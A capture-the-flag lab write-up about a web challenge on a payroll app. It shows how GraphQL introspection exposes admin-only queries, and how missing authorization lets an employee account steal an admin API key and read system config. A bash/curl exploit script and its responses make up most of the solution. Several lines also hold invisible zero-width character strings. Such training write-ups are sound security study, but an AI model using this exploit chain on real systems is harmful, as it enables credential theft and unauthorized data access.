← Back to Writeups
CUSTOMEasyWeb

Lab 198 — PayrollSync — Broken Auth via GraphQL Introspection

XESXOR9/10/20263 min read
#web#custom#easy#api_key_theft#authorization_bypass#graphql_schema_enumeration#introspection_attack#linux

Lab 198 — PayrollSync — Broken Auth via GraphQL Introspection

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: api_key_theft, authorization_bypass, graphql_schema_enumeration, introspection_attack

Summary

Task: HR/payroll platform with GraphQL API, given employee credentials. Solution: Used GraphQL introspection to discover adminUsers query, exploited missing authorization to steal admin API key, then accessed system config containing the flag.

Lab 198 — PayrollSync — Broken Auth via GraphQL Introspection — Hackadvisor

Description

PayrollSync is a modern HR and payroll management platform built by SyncWare Solutions. The application lets companies manage employee records, process payroll, and handle team administration through a clean self-service portal. As a security tester, you have been given access to an employee account on the PayrollSync platform. The company uses this tool to manage sensitive HR data including salaries, employee records, and internal configurations. Your objective is to explore how the application communicates with its backend and find a way to access data that should be restricted to administrators only.

Credentials: employee@payrollsync.com / Welcome123! URL: https://66a729c2-21ba-4a30-a5a6-c07f7ddf2467.labs.hackadvisor.io/ ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An HR/payroll management platform with GraphQL API. Given employee credentials, the goal is to access admin-restricted data by exploiting GraphQL introspection and broken access control.

Analysis

  1. Initial Reconnaissance:

    • Target is an Express.js application (X-Powered-By header)
    • Found /graphql endpoint returns 400 (exists but needs proper request format)
  2. Authentication Flow:

    • Login page uses fetch API to /api/auth/login
    • Returns JWT session cookie containing: id=1, role="employee", department="Engineering" ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
  3. GraphQL Schema Discovery:

    • Introspection is enabled (critical misconfiguration for production)
    • Discovered sensitive types not exposed in UI:
      • AdminUser (fields: id, email, password_hash, api_key, role)
      • SystemConfig (fields: key, value, description)
    • Found admin-only queries: adminUsers, allSystemConfig
  4. Vulnerability Chain:

    • Issue 1: GraphQL introspection enabled in production (information disclosure)
    • Issue 2: Broken Access Control — employee role can query admin-only resolvers
    • Issue 3: Sensitive data exposure — API keys and password hashes returned in responses ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

bash
#!/bin/bash
# Exploit for PayrollSync GraphQL Broken Access Control

TARGET="https://66a729c2-21ba-4a30-a5a6-c07f7ddf2467.labs.hackadvisor.io"

# Step 1: Authenticate as employee
echo "[*] Logging in as employee..."
curl -s -c cookies.txt -X POST "$TARGET/api/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"employee@payrollsync.com","password":"Welcome123!"}'

# Step 2: Perform GraphQL introspection to discover schema
echo "[*] Enumerating GraphQL schema..."
curl -s -b cookies.txt -X POST "$TARGET/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name fields { name } } } }"}' | jq '.'
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Key findings from introspection:
# - AdminUser type with fields: id, email, password_hash, api_key, role
# - SystemConfig type with fields: key, value, description
# - Queries: adminUsers, allSystemConfig

# Step 3: Exploit broken authorization - query adminUsers as employee
echo "[*] Querying adminUsers with employee credentials..."
curl -s -b cookies.txt -X POST "$TARGET/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ adminUsers { id email api_key password_hash } }"}' | jq '.'
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Response reveals admin API key:
# api_key: "swk_live_a8f2e91d4c7b3054ef16c829da47b5e0"

# Step 4: Use stolen admin API key to access system config
echo "[*] Accessing system config with stolen API key..."
ADMIN_KEY="swk_live_a8f2e91d4c7b3054ef16c829da47b5e0"
curl -s -b cookies.txt -X POST "$TARGET/graphql" \
  -H "Content-Type: application/json" \
  -d "{\"query\":\"{ allSystemConfig(api_key: \\\"$ADMIN_KEY\\\") { key value } }\"}" | jq '.'

The server returned system configuration including the flag: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

json
{
  "data": {
    "allSystemConfig": [
      {
        "key": "secret_flag",
        "value": "FLAG{REDACTED}"
      }
    ]
  }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍